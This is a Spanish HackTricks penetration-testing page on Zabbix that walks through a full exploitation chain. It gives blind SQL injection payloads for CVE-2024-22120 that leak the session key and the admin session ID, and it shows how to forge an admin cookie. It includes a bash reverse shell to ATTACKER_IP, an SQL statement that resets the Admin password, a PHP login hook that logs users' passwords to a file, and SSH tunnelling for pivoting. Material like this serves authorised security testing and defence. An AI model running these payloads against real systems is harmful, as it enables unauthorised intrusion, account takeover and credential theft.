Seguridad de Zabbix

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Zabbix es una plataforma de monitorización que expone una interfaz web (típicamente detrás de Apache/Nginx) y un componente server que también habla el protocolo Zabbix en TCP/10051 (server/trapper) y un agente en TCP/10050. Durante los engagements puedes encontrar:

  • Web UI: virtual host HTTP(S) como zabbix.example.tld
  • Zabbix server port: 10051/tcp (JSON sobre un framing de cabecera ZBXD)
  • Zabbix agent port: 10050/tcp

Formato útil de cookie: zbx_session es Base64 de un objeto JSON compacto que incluye al menos sessionid, serverCheckResult, serverCheckTime y sign. El sign es un HMAC del payload JSON.

Las versiones recientes de Zabbix calculan la cookie así:

  • data JSON: {“sessionid”:“<32-hex>”,“serverCheckResult”:true,“serverCheckTime”:<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

Si puedes recuperar el global session_key y un admin sessionid válido, puedes forjar una cookie Admin válida offline y autenticarte en la UI.

CVE-2024-22120 — Time-based blind SQLi en el registro de auditoría de Zabbix Server

Versiones afectadas (según lo documentado públicamente):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Resumen de la vulnerabilidad:

  • Cuando la ejecución de un Script se registra en el registro de auditoría del Zabbix Server, el campo clientip no se sanitiza y se concatena en SQL, permitiendo SQLi ciego basado en tiempo vía el componente server.
  • Esto es explotable enviando una petición “command” especialmente creada al puerto del Zabbix server 10051 con un sessionid válido de bajo privilegio, un hostid al que el usuario tiene acceso, y un scriptid permitido.

Precondiciones y consejos para descubrimiento:

  • sessionid: Desde guest/login en la web UI, decodifica zbx_session (Base64) para obtener el sessionid.
  • hostid: Obsérvalo mediante peticiones de la web UI (p. ej., Monitoring → Hosts) o interceptando con un proxy; el valor por defecto común es 10084.
  • scriptid: Solo se ejecutarán los scripts permitidos al rol actual; verifica inspeccionando el menú de scripts/respuestas AJAX. Valores por defecto como 1 o 2 a menudo están permitidos; 3 puede ser denegado.

Flujo de explotación

  1. Provocar la inserción en el log de auditoría con SQLi en clientip
  • Conéctate a TCP/10051 y envía un mensaje enmarcado de Zabbix con request=“command” incluyendo sid, hostid, scriptid, y clientip establecido a una expresión SQL que será concatenada por el servidor y evaluada.

Minimal message (JSON body) fields:

{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

El formato de wire completo es: “ZBXD\x01” + 8-byte little-endian length + UTF-8 JSON. Puedes usar pwntools o tu propio código de sockets para empaquetarlo.

  1. Time-bruteforce secrets via conditional sleep

Usa expresiones condicionales para leak hex-encoded secrets 1 char at a time midiendo el tiempo de respuesta. Ejemplos que han funcionado en la práctica:

  • Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Administrador session_id (userid=1) desde sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Notas:

  • charset: 32 hex chars [0-9a-f]
  • Elige T_TRUE >> T_FALSE (p. ej., 10 vs 1) y mide el tiempo real (wall-clock) por intento
  • Asegúrate de que tu scriptid esté realmente autorizado para el usuario; de lo contrario no se producirá ninguna fila de auditoría y el cronometraje no funcionará
  1. Forge Admin cookie

Once you have:

  • session_key: 32-hex de config.session_key
  • admin_sessionid: 32-hex de sessions.sessionid para userid=1

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

Herramientas listas para usar

  • El PoC público automatiza: bruteforce de session_key y admin sessionid, y cookie forging; requiere pwntools y requests.
  • Los parámetros a proporcionar típicamente incluyen: –ip (FQDN of UI), –port 10051, –sid (low-priv), –hostid, y opcionalmente un –admin-sid conocido para saltar el brute.

RCE via Script execution (post-Admin)

Con acceso Admin en la UI, puedes ejecutar Scripts predefinidos contra hosts monitorizados. Si los agents/hosts ejecutan comandos de script localmente, esto produce ejecución de código en esos sistemas (a menudo como el usuario zabbix en hosts Linux):

  • Quick check: run id to confirm user context
  • Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY upgrade (Linux):

script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Si tienes acceso a la DB, una alternativa a forjar una cookie es restablecer la contraseña del Admin al bcrypt documentado para “zabbix”:

UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Captura de credenciales mediante gancho de inicio de sesión (post-exploitation)

Si es posible escribir archivos en el servidor de la interfaz web, puedes añadir temporalmente un fragmento de registro en /usr/share/zabbix/index.php alrededor de la rama del inicio de sesión basada en formulario para capturar credenciales:

// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Los usuarios se autentican normalmente; lee /dev/shm/creds.txt después. Elimina el hook cuando termines.

Pivoting a servicios internos

Incluso si el shell de la cuenta de servicio es /usr/sbin/nologin, añadir una entrada en authorized_keys de SSH y usar -N -L permite el reenvío de puertos local a servicios accesibles solo desde loopback (por ejemplo, CI/CD en 8111):

ssh -i key user@host -N -L 8111:127.0.0.1:8111

Ver más patrones de tunneling en: Consulta Tunneling and Port Forwarding.

Consejos operativos

  • Valida que scriptid esté permitido para el rol actual (guest puede tener un conjunto limitado)
  • Timing brute puede ser lento; almacena en caché el sessionid de admin recuperado y reutilízalo
  • El JSON enviado al puerto 10051 debe estar enmarcado con el encabezado ZBXD\x01 y una longitud little-endian

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks